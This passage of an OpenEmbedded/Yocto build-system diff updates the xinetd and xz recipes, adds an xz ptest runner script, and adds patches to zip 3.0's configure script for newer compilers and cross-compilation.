34REQUIRED_DISTRO_FEATURES = "x11" 36REQUIRED_DISTRO_FEATURES = "x11"
35 37
36DEPENDS = "xmlto-native libxslt-native" 38DEPENDS = "xmlto-native libxslt-native"
37RDEPENDS_${PN} += "xprop" 39RDEPENDS:${PN} += "xprop"
diff --git a/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb b/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb
index 4f0f9531a1..72eb1ae067 100644
--- a/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb
+++ b/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb
@@ -1,14 +1,13 @@
1SUMMARY = "Socket-based service activation daemon" 1SUMMARY = "Socket-based service activation daemon"
2HOMEPAGE = "https://github.com/xinetd-org/xinetd" 2HOMEPAGE = "https://github.com/xinetd-org/xinetd"
3DESCRIPTION = "xinetd is a powerful replacement for inetd, xinetd has access control mechanisms, extensive logging capabilities, the ability to make services available based on time, can place limits on the number of servers that can be started, and has deployable defence mechanisms to protect against port scanners, among other things."
3 4
4# xinetd is a BSD-like license 5LICENSE = "xinetd"
5# Apple and Gentoo say BSD here.
6LICENSE = "BSD"
7LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=55c5fdf02cfcca3fc9621b6f2ceae10f" 6LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=55c5fdf02cfcca3fc9621b6f2ceae10f"
8 7
9UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)" 8UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
10 9
11SRC_URI = "git://github.com/openSUSE/xinetd.git;protocol=https \ 10SRC_URI = "git://github.com/openSUSE/xinetd.git;protocol=https;branch=master \
12 file://xinetd.init \ 11 file://xinetd.init \
13 file://xinetd.default \ 12 file://xinetd.default \
14 file://xinetd.service \ 13 file://xinetd.service \
@@ -18,9 +17,12 @@ SRCREV = "6a4af7786630ce48747d9687e2f18f45ea6684c4"
18 17
19S = "${WORKDIR}/git" 18S = "${WORKDIR}/git"
20 19
20# https://github.com/xinetd-org/xinetd/pull/10 is merged into this git tree revision
21CVE_STATUS[CVE-2013-4342] = "fixed-version: Fixed directly in git tree revision"
22
21inherit autotools update-rc.d systemd pkgconfig 23inherit autotools update-rc.d systemd pkgconfig
22 24
23SYSTEMD_SERVICE_${PN} = "xinetd.service" 25SYSTEMD_SERVICE:${PN} = "xinetd.service"
24 26
25INITSCRIPT_NAME = "xinetd" 27INITSCRIPT_NAME = "xinetd"
26INITSCRIPT_PARAMS = "defaults" 28INITSCRIPT_PARAMS = "defaults"
@@ -28,20 +30,25 @@ INITSCRIPT_PARAMS = "defaults"
28PACKAGECONFIG ??= "tcp-wrappers" 30PACKAGECONFIG ??= "tcp-wrappers"
29PACKAGECONFIG[tcp-wrappers] = "--with-libwrap,,tcp-wrappers" 31PACKAGECONFIG[tcp-wrappers] = "--with-libwrap,,tcp-wrappers"
30 32
31CONFFILES_${PN} = "${sysconfdir}/xinetd.conf" 33CFLAGS += "-D_GNU_SOURCE"
34
35CONFFILES:${PN} = "${sysconfdir}/xinetd.conf"
32 36
33do_install_append() { 37do_install:append() {
34 install -d "${D}${sysconfdir}/init.d" 38 install -d "${D}${sysconfdir}/init.d"
35 install -d "${D}${sysconfdir}/default" 39 install -d "${D}${sysconfdir}/default"
36 install -m 755 "${WORKDIR}/xinetd.init" "${D}${sysconfdir}/init.d/xinetd" 40 install -m 755 "${WORKDIR}/xinetd.init" "${D}${sysconfdir}/init.d/xinetd"
37 install -m 644 "${WORKDIR}/xinetd.default" "${D}${sysconfdir}/default/xinetd" 41 install -m 644 "${WORKDIR}/xinetd.default" "${D}${sysconfdir}/default/xinetd"
38 42
39 # Install systemd unit files 43 # Install systemd unit files
40 install -d ${D}${systemd_unitdir}/system 44 install -d ${D}${systemd_system_unitdir}
41 install -m 0644 ${WORKDIR}/xinetd.service ${D}${systemd_unitdir}/system 45 install -m 0644 ${WORKDIR}/xinetd.service ${D}${systemd_system_unitdir}
42 sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \ 46 sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
43 -e 's,@SBINDIR@,${sbindir},g' \ 47 -e 's,@SBINDIR@,${sbindir},g' \
44 ${D}${systemd_unitdir}/system/xinetd.service 48 ${D}${systemd_system_unitdir}/xinetd.service
45} 49}
46 50
47RDEPENDS_${PN} += "perl" 51# Script for converting inetd.conf files into xinetd.conf files
52PACKAGES =+ "${PN}-xconv"
53FILES:${PN}-xconv = "${bindir}/xconv.pl"
54RDEPENDS:${PN}-xconv += "perl"
diff --git a/meta/recipes-extended/xz/xz/run-ptest b/meta/recipes-extended/xz/xz/run-ptest
new file mode 100644
index 0000000000..cc8ba92016
--- /dev/null
+++ b/meta/recipes-extended/xz/xz/run-ptest
@@ -0,0 +1,26 @@
1#!/bin/bash
2
3ptestdir=$(dirname "$(readlink -f "$0")")
4cd "$ptestdir"/tests || exit
5
6# executables test cases
7tests_exec=$(file $(ls test_*) | grep "ELF" | awk -F: '{print $1}')
8for i in ${tests_exec}; do
9 ./$i
10done
11
12# POSIX shell script test cases
13export srcdir=${ptestdir}/tests
14test_shell="test_files.sh test_scripts.sh test_compress.sh"
15for j in ${test_shell}; do
16 if [ $j == "test_compress.sh" ]; then
17 ./$j create_compress_files
18 else
19 ./$j
20 fi
21 if [ $? -eq 0 ]; then
22 echo "PASS: $j"
23 else
24 echo "FAIL: $j"
25 fi
26done
diff --git a/meta/recipes-extended/xz/xz_5.2.5.bb b/meta/recipes-extended/xz/xz_5.2.5.bb
deleted file mode 100644
index af21b60563..0000000000
--- a/meta/recipes-extended/xz/xz_5.2.5.bb
+++ /dev/null
@@ -1,43 +0,0 @@
1SUMMARY = "Utilities for managing LZMA compressed files"
2HOMEPAGE = "https://tukaani.org/xz/"
3SECTION = "base"
4
5# The source includes bits of PD, GPLv2, GPLv3, LGPLv2.1+, but the only file
6# which is GPLv3 is an m4 macro which isn't shipped in any of our packages,
7# and the LGPL bits are under lib/, which appears to be used for libgnu, which
8# appears to be used for DOS builds. So we're left with GPLv2+ and PD.
9LICENSE = "GPLv2+ & GPL-3.0-with-autoconf-exception & LGPLv2.1+ & PD"
10LICENSE_${PN} = "GPLv2+"
11LICENSE_${PN}-dev = "GPLv2+"
12LICENSE_${PN}-staticdev = "GPLv2+"
13LICENSE_${PN}-doc = "GPLv2+"
14LICENSE_${PN}-dbg = "GPLv2+"
15LICENSE_${PN}-locale = "GPLv2+"
16LICENSE_liblzma = "PD"
17
18LIC_FILES_CHKSUM = "file://COPYING;md5=97d554a32881fee0aa283d96e47cb24a \
19 file://COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
20 file://COPYING.GPLv3;md5=d32239bcb673463ab874e80d47fae504 \
21 file://COPYING.LGPLv2.1;md5=4fbd65380cdd255951079008b364516c \
22 file://lib/getopt.c;endline=23;md5=2069b0ee710572c03bb3114e4532cd84 \
23 "
24
25SRC_URI = "https://tukaani.org/xz/xz-${PV}.tar.gz"
26SRC_URI[md5sum] = "0d270c997aff29708c74d53f599ef717"
27SRC_URI[sha256sum] = "f6f4910fd033078738bd82bfba4f49219d03b17eb0794eb91efbae419f4aba10"
28UPSTREAM_CHECK_REGEX = "xz-(?P<pver>\d+(\.\d+)+)\.tar"
29
30CACHED_CONFIGUREVARS += "gl_cv_posix_shell=/bin/sh"
31
32inherit autotools gettext
33
34PACKAGES =+ "liblzma"
35
36FILES_liblzma = "${libdir}/liblzma*${SOLIBS}"
37
38inherit update-alternatives
39ALTERNATIVE_PRIORITY = "100"
40ALTERNATIVE_${PN} = "xz xzcat unxz \
41 lzma lzcat unlzma"
42
43BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/xz/xz_5.4.6.bb b/meta/recipes-extended/xz/xz_5.4.6.bb
new file mode 100644
index 0000000000..da3b75a10b
--- /dev/null
+++ b/meta/recipes-extended/xz/xz_5.4.6.bb
@@ -0,0 +1,69 @@
1SUMMARY = "Utilities for managing LZMA compressed files"
2HOMEPAGE = "https://tukaani.org/xz/"
3DESCRIPTION = "XZ Utils is free general-purpose data compression software with a high compression ratio. XZ Utils were written for POSIX-like systems, but also work on some not-so-POSIX systems. XZ Utils are the successor to LZMA Utils."
4SECTION = "base"
5
6# The source includes bits of PD, GPL-2.0, GPL-3.0, LGPL-2.1-or-later, but the
7# only file which is GPL-3.0 is an m4 macro which isn't shipped in any of our
8# packages, and the LGPL bits are under lib/, which appears to be used for
9# libgnu, which appears to be used for DOS builds. So we're left with
10# GPL-2.0-or-later and PD.
11LICENSE = "GPL-2.0-or-later & GPL-3.0-with-autoconf-exception & LGPL-2.1-or-later & PD"
12LICENSE:${PN} = "GPL-2.0-or-later"
13LICENSE:${PN}-dev = "GPL-2.0-or-later"
14LICENSE:${PN}-staticdev = "GPL-2.0-or-later"
15LICENSE:${PN}-doc = "GPL-2.0-or-later"
16LICENSE:${PN}-dbg = "GPL-2.0-or-later"
17LICENSE:${PN}-locale = "GPL-2.0-or-later"
18LICENSE:liblzma = "PD"
19
20LIC_FILES_CHKSUM = "file://COPYING;md5=d4378ea9d5d1fc9ab0ae10d7948827d9 \
21 file://COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
22 file://COPYING.GPLv3;md5=1ebbd3e34237af26da5dc08a4e440464 \
23 file://COPYING.LGPLv2.1;md5=4fbd65380cdd255951079008b364516c \
24 file://lib/getopt.c;endline=23;md5=2069b0ee710572c03bb3114e4532cd84 \
25 "
26
27SRC_URI = "https://github.com/tukaani-project/xz/releases/download/v${PV}/xz-${PV}.tar.gz \
28 file://run-ptest \
29 "
30SRC_URI[sha256sum] = "aeba3e03bf8140ddedf62a0a367158340520f6b384f75ca6045ccc6c0d43fd5c"
31UPSTREAM_CHECK_REGEX = "releases/tag/v(?P<pver>\d+(\.\d+)+)"
32UPSTREAM_CHECK_URI = "https://github.com/tukaani-project/xz/releases/"
33
34CACHED_CONFIGUREVARS += "gl_cv_posix_shell=/bin/sh"
35
36inherit autotools gettext ptest
37
38PACKAGES =+ "liblzma"
39
40FILES:liblzma = "${libdir}/liblzma*${SOLIBS}"
41
42inherit update-alternatives
43ALTERNATIVE_PRIORITY = "100"
44ALTERNATIVE:${PN} = "xz xzcat unxz \
45 lzma lzcat unlzma"
46
47BBCLASSEXTEND = "native nativesdk"
48
49RDEPENDS:${PN}-ptest += "bash file"
50
51do_compile_ptest() {
52 oe_runmake check TESTS=
53}
54
55do_install_ptest () {
56 install -d ${D}${PTEST_PATH}/tests
57 find ${B}/tests/.libs -type f -executable -exec cp {} ${D}${PTEST_PATH}/tests \;
58 cp ${B}/config.h ${D}${PTEST_PATH}
59 for i in files xzgrep_expected_output test_files.sh test_scripts.sh test_compress.sh; do
60 cp -r ${S}/tests/$i ${D}${PTEST_PATH}/tests
61 done
62 mkdir -p ${D}${PTEST_PATH}/src/xz
63 ln -s ${bindir}/xz ${D}${PTEST_PATH}/src/xz/xz
64 mkdir -p ${D}${PTEST_PATH}/src/xzdec
65 ln -s ${bindir}/xzdec ${D}${PTEST_PATH}/src/xzdec/xzdec
66 mkdir -p ${D}${PTEST_PATH}/src/scripts
67 ln -s ${bindir}/xzdiff ${D}${PTEST_PATH}/src/scripts/xzdiff
68 ln -s ${bindir}/xzgrep ${D}${PTEST_PATH}/src/scripts/xzgrep
69}
diff --git a/meta/recipes-extended/zip/zip-3.0/0001-configure-Specify-correct-function-signatures-and-de.patch b/meta/recipes-extended/zip/zip-3.0/0001-configure-Specify-correct-function-signatures-and-de.patch
new file mode 100644
index 0000000000..a4f8382625
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0001-configure-Specify-correct-function-signatures-and-de.patch
@@ -0,0 +1,134 @@
1From 8810f2643c9372a8083272dc1fc157427646d961 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Wed, 10 Aug 2022 17:16:23 -0700
4Subject: [PATCH 1/2] configure: Specify correct function signatures and
5 declarations
6
7Include needed system headers in configure tests, this is needed because
8newer compilers are getting stricter about the C99 specs and turning
9-Wimplicit-function-declaration into hard error e.g. clang-15+
10
11Upstream-Status: Inactive-Upstream
12Signed-off-by: Khem Raj <raj.khem@gmail.com>
13---
14 unix/configure | 79 +++++++++++++++++++++++++++++++++++++++++---------
15 1 file changed, 66 insertions(+), 13 deletions(-)
16
17diff --git a/unix/configure b/unix/configure
18index 1d9a9bb..f2b3d02 100644
19--- a/unix/configure
20+++ b/unix/configure
21@@ -513,21 +513,70 @@ $CC $CFLAGS -c conftest.c >/dev/null 2>/dev/null
22 # Check for missing functions
23 # add NO_'function_name' to flags if missing
24
25-for func in rmdir strchr strrchr rename mktemp mktime mkstemp
26-do
27- echo Check for $func
28- echo "int main(){ $func(); return 0; }" > conftest.c
29- $CC $CFLAGS $LDFLAGS $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
30- [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_`echo $func | tr '[a-z]' '[A-Z]'`"
31-done
32+echo Check for rmdir
33+cat > conftest.c << _EOF_
34+#include <unistd.h>
35+int main(){ rmdir(NULL); return 0; }
36+_EOF_
37+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
38+[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_RMDIR"
39+
40+echo Check for strchr
41+cat > conftest.c << _EOF_
42+#include <string.h>
43+int main(){ strchr(NULL,0); return 0; }
44+_EOF_
45+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
46+[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_STRCHR"
47
48+echo Check for strrchr
49+cat > conftest.c << _EOF_
50+#include <string.h>
51+int main(){ strrchr(NULL,0); return 0; }
52+_EOF_
53+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
54+[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_STRRCHR"
55+
56+echo Check for rename
57+cat > conftest.c << _EOF_
58+#include <stdio.h>
59+int main(){ rename(NULL,NULL); return 0; }
60+_EOF_
61+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
62+[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_RENAME"
63+
64+echo Check for mktemp
65+cat > conftest.c << _EOF_
66+#include <stdlib.h>
67+int main(){ mktemp(NULL); return 0; }
68+_EOF_
69+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
70+[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_MKTEMP"
71+
72+echo Check for mktime
73+cat > conftest.c << _EOF_
74+#include <time.h>
75+int main(){ mktime(NULL); return 0; }
76+_EOF_
77+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
78+[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_MKTIME"
79+
80+echo Check for mkstemp
81+cat > conftest.c << _EOF_
82+#include <stdlib.h>
83+int main(){ return mkstemp(NULL); }
84+_EOF_
85+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
86+[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_MKSTEMP"
87
88 echo Check for memset
89-echo "int main(){ char k; memset(&k,0,0); return 0; }" > conftest.c
90+cat > conftest.c << _EOF_
91+#include <string.h>
92+int main(){ char k; memset(&k,0,0); return 0; }
93+_EOF_
94 $CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
95 [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DZMEM"
96
97-
98 echo Check for memmove
99 cat > conftest.c << _EOF_
100 #include <string.h>
101@@ -548,7 +597,7 @@ $CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
102 echo Check for errno declaration
103 cat > conftest.c << _EOF_
104 #include <errno.h>
105-main()
106+int main()
107 {
108 errno = 0;
109 return 0;
110@@ -625,14 +674,18 @@ CFLAGS="${CFLAGS} ${OPT}"
111
112 echo Check for valloc
113 cat > conftest.c << _EOF_
114-main()
115+#include <stdlib.h>
116+int main()
117 {
118 #ifdef MMAP
119- valloc();
120+ valloc(0);
121 #endif
122+ return 0;
123 }
124 _EOF_
125-$CC ${CFLAGS} -c conftest.c > /dev/null 2>/dev/null
126+#$CC ${CFLAGS} -c conftest.c > /dev/null 2>/dev/null
127+$CC ${CFLAGS} -c conftest.c
128+echo "==========================================="
129 [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_VALLOC"
130
131
132--
1332.37.1
134
diff --git a/meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch b/meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch
new file mode 100644
index 0000000000..92d0d5db58
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch
@@ -0,0 +1,88 @@
1From ab5df4826c4a532da78828b72a2751c899e27ef2 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Tue, 8 Mar 2022 22:31:21 -0800
4Subject: [PATCH] configure: Use CFLAGS and LDFLAGS when doing link tests
5
6Some case link flags contain important flags which are required during
7linking, link fails otherwise without them, which can result in
8configure detection go wrong, ensure these flags are used along with CC
9when tests involve linking
10
11Upstream-Status: Inactive-Upstream
12Signed-off-by: Khem Raj <raj.khem@gmail.com>
13---
14 unix/configure | 16 ++++++++--------
15 1 file changed, 8 insertions(+), 8 deletions(-)
16
17diff --git a/unix/configure b/unix/configure
18index 1bc698b..1d9a9bb 100644
19--- a/unix/configure
20+++ b/unix/configure
21@@ -517,14 +517,14 @@ for func in rmdir strchr strrchr rename mktemp mktime mkstemp
22 do
23 echo Check for $func
24 echo "int main(){ $func(); return 0; }" > conftest.c
25- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
26+ $CC $CFLAGS $LDFLAGS $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
27 [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_`echo $func | tr '[a-z]' '[A-Z]'`"
28 done
29
30
31 echo Check for memset
32 echo "int main(){ char k; memset(&k,0,0); return 0; }" > conftest.c
33-$CC -o conftest conftest.c >/dev/null 2>/dev/null
34+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
35 [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DZMEM"
36
37
38@@ -533,7 +533,7 @@ cat > conftest.c << _EOF_
39 #include <string.h>
40 int main() { int a; int b = 0; memmove( &a, &b, sizeof( a)); return a; }
41 _EOF_
42-$CC -o conftest conftest.c >/dev/null 2>/dev/null
43+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
44 [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNEED_MEMMOVE"
45
46
47@@ -542,7 +542,7 @@ cat > conftest.c << _EOF_
48 #include <string.h>
49 int main() { strerror( 0); return 0; }
50 _EOF_
51-$CC -o conftest conftest.c >/dev/null 2>/dev/null
52+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
53 [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNEED_STRERROR"
54
55 echo Check for errno declaration
56@@ -563,7 +563,7 @@ cat > conftest.c << _EOF_
57 int main() { return closedir(opendir(".")); }
58 _EOF_
59
60-$CC -o conftest conftest.c >/dev/null 2>/dev/null
61+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
62 if [ $? -ne 0 ]; then
63 OPT=""
64 for lib in ndir dir ucb bsd BSD PW x dirent
65@@ -583,9 +583,9 @@ fi
66
67 echo Check for readlink
68 echo "int main(){ return readlink(); }" > conftest.c
69-$CC -o conftest conftest.c >/dev/null 2>/dev/null
70+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
71 if [ $? -ne 0 ]; then
72- $CC -o conftest conftest.c -lseq >/dev/null 2>/dev/null
73+ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lseq >/dev/null 2>/dev/null
74 [ $? -eq 0 ] && LFLAGS2="${LFLAGS2} -lseq"
75 fi
76
77@@ -661,7 +661,7 @@ elif [ -f /xenix ]; then
78 elif uname -X >/dev/null 2>/dev/null; then
79 # SCO shared library check
80 echo "int main() { return 0;}" > conftest.c
81- $CC -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null
82+ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null
83 [ $? -eq 0 ] && LFLAGS2="-lc_s -nointl"
84 else
85 SYSTEM=`uname -s 2>/dev/null` || SYSTEM="unknown"
86--
872.35.1
88
diff --git a/meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch b/meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch
new file mode 100644
index 0000000000..02253f968c
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch
@@ -0,0 +1,47 @@
1From 7a2729ee7f5d9b9d4a0d9b83fe641a2ab03c4ee0 Mon Sep 17 00:00:00 2001
2From: Joe Slater <joe.slater@windriver.com>
3Date: Thu, 24 Feb 2022 17:36:59 -0800
4Subject: [PATCH 1/2] configure: use correct CPP
5
6configure uses CPP to test that two assembler routines
7can be built. Unfortunately, it will use /usr/bin/cpp
8if it exists, invalidating the tests. We use the $CC
9passed to configure.
10
11Upstream-Status: Inappropriate [openembedded specific]
12
13Signed-off-by: Joe Slater <joe.slater@windriver.com>
14---
15 unix/configure | 15 +++++++++------
16 1 file changed, 9 insertions(+), 6 deletions(-)
17
18diff --git a/unix/configure b/unix/configure
19index 73ba803..7e21070 100644
20--- a/unix/configure
21+++ b/unix/configure
22@@ -220,13 +220,16 @@ fi
23 echo Check for the C preprocessor
24 # on SVR4, cc -E does not produce correct assembler files. Need /lib/cpp.
25 CPP="${CC} -E"
26+
27+# We should not change CPP for yocto builds.
28+#
29 # solaris as(1) needs -P, maybe others as well ?
30-[ -f /usr/ccs/lib/cpp ] && CPP="/usr/ccs/lib/cpp -P"
31-[ -f /usr/lib/cpp ] && CPP=/usr/lib/cpp
32-[ -f /lib/cpp ] && CPP=/lib/cpp
33-[ -f /usr/bin/cpp ] && CPP=/usr/bin/cpp
34-[ -f /xenix ] && CPP="${CC} -E"
35-[ -f /lynx.os ] && CPP="${CC} -E"
36+# [ -f /usr/ccs/lib/cpp ] && CPP="/usr/ccs/lib/cpp -P"
37+# [ -f /usr/lib/cpp ] && CPP=/usr/lib/cpp
38+# [ -f /lib/cpp ] && CPP=/lib/cpp
39+# [ -f /usr/bin/cpp ] && CPP=/usr/bin/cpp
40+# [ -f /xenix ] && CPP="${CC} -E"
41+# [ -f /lynx.os ] && CPP="${CC} -E"
42
43 echo "#include <stdio.h>" > conftest.c
44 $CPP conftest.c >/dev/null 2>/dev/null || CPP="${CC} -E"
45--
462.24.1
47
diff --git a/meta/recipes-extended/zip/zip-3.0/0001-unix-configure-use-_Static_assert-to-do-correct-dete.patch b/meta/recipes-extended/zip/zip-3.0/0001-unix-configure-use-_Static_assert-to-do-correct-dete.patch
new file mode 100644
index 0000000000..106f246a7c
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0001-unix-configure-use-_Static_assert-to-do-correct-dete.patch
@@ -0,0 +1,96 @@
1From 9916fc6f1f93f3e092e3c6937c30dc8137c26d34 Mon Sep 17 00:00:00 2001
2From: Chen Qi <Qi.Chen@windriver.com>
3Date: Thu, 15 Jun 2023 18:31:26 +0800
4Subject: [PATCH] unix/configure: use _Static_assert to do correct detection
5
6We're doing cross compilation, running a cross-compiled problem
7on host to detemine feature is not correct. Use _Static_assert
8to do the detection correctly.
9
10Upstream-Status: Inactive-Upstream
11
12Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
13---
14 unix/configure | 42 ++++++++++++------------------------------
15 1 file changed, 12 insertions(+), 30 deletions(-)
16
17diff --git a/unix/configure b/unix/configure
18index f2b3d02..f917086 100644
19--- a/unix/configure
20+++ b/unix/configure
21@@ -361,6 +361,10 @@ cat > conftest.c << _EOF_
22 #include <sys/stat.h>
23 #include <unistd.h>
24 #include <stdio.h>
25+
26+_Static_assert(sizeof((struct stat){0}.st_uid) == 2, "sizeof st_uid is not 16 bit");
27+_Static_assert(sizeof((struct stat){0}.st_gid) == 2, "sizeof st_gid is not 16 bit");
28+
29 int main()
30 {
31 struct stat s;
32@@ -385,21 +389,7 @@ if [ $? -ne 0 ]; then
33 echo -- UID/GID test failed on compile - disabling old 16-bit UID/GID support
34 CFLAGS="${CFLAGS} -DUIDGID_NOT_16BIT"
35 else
36-# run it
37- ./conftest
38- r=$?
39- if [ $r -eq 1 ]; then
40- echo -- UID not 2 bytes - disabling old 16-bit UID/GID support
41- CFLAGS="${CFLAGS} -DUIDGID_NOT_16BIT"
42- elif [ $r -eq 2 ]; then
43- echo -- GID not 2 bytes - disabling old 16-bit UID/GID support
44- CFLAGS="${CFLAGS} -DUIDGID_NOT_16BIT"
45- elif [ $r -eq 3 ]; then
46- echo -- 16-bit UIDs and GIDs - keeping old 16-bit UID/GID support
47- else
48- echo -- test failed - conftest returned $r - disabling old 16-bit UID/GID support
49- CFLAGS="${CFLAGS} -DUIDGID_NOT_16BIT"
50- fi
51+ echo -- 16-bit UIDs and GIDs - keeping old 16-bit UID/GID support
52 fi
53
54
55@@ -417,6 +407,10 @@ cat > conftest.c << _EOF_
56 #include <sys/stat.h>
57 #include <unistd.h>
58 #include <stdio.h>
59+
60+_Static_assert(sizeof(off_t) < 8, "sizeof off_t < 8 failed");
61+_Static_assert(sizeof((struct stat){0}.st_size) < 8, "sizeof st_size < 8 failed");
62+
63 int main()
64 {
65 off_t offset;
66@@ -436,24 +430,12 @@ _EOF_
67 # compile it
68 $CC -o conftest conftest.c >/dev/null 2>/dev/null
69 if [ $? -ne 0 ]; then
70- echo -- no Large File Support
71+ echo -- yes we have Large File Support!
72+ CFLAGS="${CFLAGS} -DLARGE_FILE_SUPPORT"
73 else
74-# run it
75- ./conftest
76- r=$?
77- if [ $r -eq 1 ]; then
78- echo -- no Large File Support - no 64-bit off_t
79- elif [ $r -eq 2 ]; then
80- echo -- no Large File Support - no 64-bit stat
81- elif [ $r -eq 3 ]; then
82- echo -- yes we have Large File Support!
83- CFLAGS="${CFLAGS} -DLARGE_FILE_SUPPORT"
84- else
85- echo -- no Large File Support - conftest returned $r
86- fi
87+ echo -- no Large File Support
88 fi
89
90-
91 # Check for wide char for Unicode support
92 # Added 11/24/2005 EG
93
94--
952.34.1
96
diff --git a/meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch b/meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch
new file mode 100644
index 0000000000..6e0879616a
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch
@@ -0,0 +1,34 @@
1From b0492506d2c28581193906e9d260d4f0451e2c39 Mon Sep 17 00:00:00 2001
2From: Joe Slater <joe.slater@windriver.com>
3Date: Thu, 24 Feb 2022 17:46:03 -0800
4Subject: [PATCH 2/2] configure: support PIC code build
5
6Disable building match.S. The code requires
7relocation in .text.
8
9Upstream-Status: Inappropriate [openembedded specific]
10
11Signed-off-by: Joe Slater <joe.slater@windriver.com>
12---
13 unix/configure | 5 +++--
14 1 file changed, 3 insertions(+), 2 deletions(-)
15
16diff --git a/unix/configure b/unix/configure
17index 7e21070..1bc698b 100644
18--- a/unix/configure
19+++ b/unix/configure
20@@ -242,8 +242,9 @@ if eval "$CPP match.S > _match.s 2>/dev/null"; then
21 if test ! -s _match.s || grep error < _match.s > /dev/null; then
22 :
23 elif eval "$CC -c _match.s >/dev/null 2>/dev/null" && [ -f _match.o ]; then
24- CFLAGS="${CFLAGS} -DASMV"
25- OBJA="match.o"
26+ # disable match.S for PIC code
27+ # CFLAGS="${CFLAGS} -DASMV"
28+ # OBJA="match.o"
29 echo "int foo() { return 0;}" > conftest.c
30 $CC -c conftest.c >/dev/null 2>/dev/null
31 echo Check if compiler generates underlines
32--
332.24.1
34
diff --git a/meta/recipes-extended/zip/zip-3.0/0002-unix.c-Do-not-redefine-DIR-as-FILE.patch b/meta/recipes-extended/zip/zip-3.0/0002-unix.c-Do-not-redefine-DIR-as-FILE.patch
new file mode 100644
index 0000000000..a86e03e620
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0002-unix.c-Do-not-redefine-DIR-as-FILE.patch
@@ -0,0 +1,35 @@
1From 76f5bf3546d826dcbc03acbefcf0b10b972bf136 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Wed, 10 Aug 2022 17:19:38 -0700
4Subject: [PATCH 2/2] unix.c: Do not redefine DIR as FILE
5
6DIR is already provided on Linux via
7/usr/include/dirent.h system header
8
9Upstream-Status: Inactive-Upstream
10Signed-off-by: Khem Raj <raj.khem@gmail.com>
11---
12 unix/unix.c | 2 --
13 1 file changed, 2 deletions(-)
14
15diff --git a/unix/unix.c b/unix/unix.c
16index ba87614..6e6f4d2 100644
17--- a/unix/unix.c
18+++ b/unix/unix.c
19@@ -61,13 +61,11 @@ local time_t label_utim = 0;
20 /* Local functions */
21 local char *readd OF((DIR *));
22
23-
24 #ifdef NO_DIR /* for AT&T 3B1 */
25 #include <sys/dir.h>
